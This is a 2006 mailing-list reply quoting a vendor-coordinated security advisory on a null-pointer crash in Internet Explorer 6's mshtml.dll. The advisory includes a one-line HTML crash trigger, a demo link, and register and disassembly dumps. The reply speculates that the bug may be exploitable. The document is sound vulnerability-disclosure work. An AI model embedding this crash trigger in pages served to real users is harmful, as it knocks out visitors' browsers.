Re: [BuHa-Security] DoS Vulnerability in MS IE 6 SP2
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are you sure dos only ? got a quick look on it , and if you are able to
control this null pointer , the bug is exploitable, might be good more
research on this bug.
bugtraq@xxxxxxxxxxxx wrote:
> Hash: RIPEMD160
>
>
> ---------------------------------------------------
>
> | BuHa Security-Advisory #12 | May 25th, 2006 |
>
> ---------------------------------------------------
>
> | Vendor | MS Internet Explorer 6.0 |
>
> | URL | http://www.microsoft.com/windows/ie/ |
>
> | Version | <= 6.0.2900.2180.xpsp_sp2 |
>
> | Risk | Low (Denial of Service) |
>
> ---------------------------------------------------
>
>
> o Description:
>
> =============
>
>
> Internet Explorer, abbreviated IE or MSIE, is a proprietary web browser
>
> made by Microsoft and currently available as part of Microsoft Windows.
>
>
> Visit http://www.microsoft.com/windows/ie/default.mspx or
>
> http://en.wikipedia.org/wiki/Internet_Explorer for detailed information.
>
>
> o Denial of Service: <mshtml.dll>#7d6d2db4
>
> ===================
>
>
> Following HTML code forces MS IE 6 to crash:
>
> >> <applet><h4><title> </title><base>
>
>
> Online-demo:
>
> http://morph3us.org/security/pen-testing/msie/ie60-1132901785453-7d6d2db4.html
>
>
> These are the register values and the ASM dump at the time of the access
>
> violation:
>
> >> eax=00000000 ebx=00000000 ecx=00e78d38 edx=00e7a704 esi=0012a268
>
> >> edi=00000000 eip=7d6d2db4 esp=0012a228 ebp=0012a25c
>
>
> >> 7d6d2d7d e868f9ffff call mshtml+0x2226ea (7d6d26ea)
>
> >> 7d6d2d82 50 push eax
>
> >> 7d6d2d83 e835f8ffff call mshtml+0x2225bd (7d6d25bd)
>
> >> 7d6d2d88 85c0 test eax,eax
>
> >> 7d6d2d8a 8945f8 mov [ebp-0x8],eax
>
> >> 7d6d2d8d 0f85c4020000 jne mshtml+0x223057 (7d6d3057)
>
> >> 7d6d2d93 8b461c mov eax,[esi+0x1c]
>
> >> 7d6d2d96 8b4e18 mov ecx,[esi+0x18]
>
> >> 7d6d2d99 8365f400 and dword ptr [ebp-0xc],0x0
>
> >> 7d6d2d9d 8365fc00 and dword ptr [ebp-0x4],0x0
>
> >> 7d6d2da1 8b7e14 mov edi,[esi+0x14]
>
> >> 7d6d2da4 8945f0 mov [ebp-0x10],eax
>
> >> 7d6d2da7 e88462e4ff call mshtml+0x69030 (7d519030)
>
> >> 7d6d2dac 3bc7 cmp eax,edi
>
> >> 7d6d2dae 0f8402020000 je mshtml+0x222fb6 (7d6d2fb6)
>
> >> FAULT ->7d6d2db4 8b07 mov eax,[edi]
>
> >> ds:0023:00000000=????????
>
> >> 7d6d2db6 8bc8 mov ecx,eax
>
> >> 7d6d2db8 83e10f and ecx,0xf
>
> >> 7d6d2dbb 49 dec ecx
>
> >> 7d6d2dbc 0f849c010000 je mshtml+0x222f5e (7d6d2f5e)
>
> >> 7d6d2dc2 49 dec ecx
>
> >> 7d6d2dc3 0f84b3000000 je mshtml+0x222e7c (7d6d2e7c)
>
> >> 7d6d2dc9 49 dec ecx
>
> >> 7d6d2dca 49 dec ecx
>
> >> 7d6d2dcb 746c jz mshtml+0x222e39 (7d6d2e39)
>
> >> 7d6d2dcd 83e904 sub ecx,0x4
>
> >> 7d6d2dd0 0f85a5010000 jne mshtml+0x222f7b (7d6d2f7b)
>
> >> 7d6d2dd6 8bcf mov ecx,edi
>
> >> 7d6d2dd8 e8482ffeff call mshtml+0x205d25 (7d6b5d25)
>
> >> 7d6d2ddd 85c0 test eax,eax
>
> >> 7d6d2ddf 7430 jz mshtml+0x222e11 (7d6d2e11)
>
> >> 7d6d2de1 837e0400 cmp dword ptr [esi+0x4],0x0
>
>
> This issue is a non-exploitable Null Pointer Dereference vulnerability and
>
> leads to DoS.
>
>
> o Vulnerable versions:
>
> =====================
>
>
> The DoS vulnerability was successfully tested on:
>
> >> MS IE 6 SP2 - Win XP Pro SP2
>
> >> MS IE 6 - Win 2k SP4
>
>
> o Disclosure Timeline:
>
> =====================
>
>
> xx Feb 06 - Vulnerabilities discovered.
>
> 08 Mar 06 - Vendor contacted.
>
> 22 Mar 06 - Vendor confirmed vulnerabilities.
>
> 25 May 06 - Public release.
>
>
> o Solution:
>
> ==========
>
>
> I think - this is not an official statement from the Microsoft Security
>
> Response Center - the vulnerability will be fixed in an upcoming service
>
> pack.
>
>
> o Credits:
>
> =========
>
>
> Thomas Waldegger <bugtraq@xxxxxxxxxxxx>
>
> BuHa-Security Community - http://buha.info/board/
>
>
> If you have questions, suggestions or criticism about the advisory feel
>
> free to send me a mail. The address 'bugtraq@xxxxxxxxxxxx' is more a
>
> spam address than a regular mail address therefore it's possible that
>
> some mails get ignored. Please use the contact details at
>
> http://morph3us.org/ to contact me.
>
>
> Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all
>
> members of BuHa.
>
>
> Advisory online: http://morph3us.org/advisories/20060525-msie6-sp2-1.txt
>
>
> --
>
> Don't you feel the power of CSS Layouts?
>
> BuHa-Security Community: http://buha.info/board/
>
>
>
> __________ NOD32 1.1560 (20060526) Information __________
>
> This message was checked by NOD32 antivirus system.
> http://www.eset.com
>
>
>
>
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fn:Arnaud Dovi / Ind. Security Researcher
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